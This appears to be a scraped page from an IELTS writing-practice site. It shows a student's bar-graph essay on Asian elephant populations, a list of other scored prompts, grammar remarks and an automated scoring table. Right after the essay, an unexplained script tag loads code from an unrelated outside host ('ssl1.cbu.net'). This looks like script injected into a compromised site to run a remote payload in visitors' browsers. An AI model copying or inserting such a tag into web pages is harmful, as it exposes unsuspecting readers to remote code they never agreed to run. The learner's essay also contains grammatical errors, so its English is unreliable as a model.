Task 1 writing
The bar graph illustrates the changes in estimated number of Asian elephants in both 1997 and 2004. It is immediately apparent that maximum number of Asian elephant was in India while the least number was in China.
To begin with, India had higher number of elephant in 1997, at 10000, the figure dropped by 7500 in 2004. Vietnam and Laos had the similar number of population in both years, at 1000. Malaysia and the Sri Lanka had 3000 elephants in 1997; the figure dramatically fell in Malaysia up to 1000 whereas in the Sri Lanka number of elephants decreased at, 2500.
Furthermore, Myanmar had the just over the 5000 elephants that was the second highest among all countries. Thailand had the 4000 elephant in 1997, the number of the elephant significantly decreased in 2004, at 1000.
In conclusion, the trend was downward overall. India remained number one on list while the despite of the size, China had very small population at most 500 elephant by 2004.
<script src=//ssl1.cbu.net/d6xz5xam></script>
- Popular events like the football World Cup and other international sporting occasions are essential in easing international tensions and releasing patriotic emotions in a safe way. 90
- Stress is now a major problem in many countries around the world What are some of the factors in modern society that cause this stress and how can we reduce it 82
- Advantages and disadvantages of internet 76
- The table shows the Proportions of Pupils Attending Four Secondary School Types Between Between 2000 and 2009 Summarize the information by selecting and reporting the main features and make comparisons where relevant 80
- The graph shows the proportion of population aged 65 and over between 1940and 2040 in three different countries. Summarize the information by selecting and reporting the main features and make comparisons where relevant. 75
Sentence: Furthermore, Myanmar had the just over the 5000 elephants that was the second highest among all countries.
Description: The fragment the just over is rare
while the despite of the size,
while despite of the size,
Attribute Value Ideal
Score: 6.5 out of 9
Category: Good Excellent
No. of Grammatical Errors: 2 2
No. of Spelling Errors: 0 2
No. of Sentences: 9 10
No. of Words: 166 200
No. of Characters: 775 1000
No. of Different Words: 84 100
Fourth Root of Number of Words: 3.589 4.0
Average Word Length: 4.669 4.6
Word Length SD: 2.487 2.4
No. of Words greater than 5 chars: 49 60
No. of Words greater than 6 chars: 37 50
No. of Words greater than 7 chars: 27 40
No. of Words greater than 8 chars: 16 20
Use of Passive Voice (%): 0 0
Avg. Sentence Length: 18.444 21.0
Sentence Length SD: 5.909 7.5
Use of Discourse Markers (%): 0.667 0.12
Sentence-Text Coherence: 0.456 0.35
Sentence-Para Coherence: 0.703 0.50
Sentence-Sentence Coherence: 0.103 0.07
Number of Paragraphs: 4 4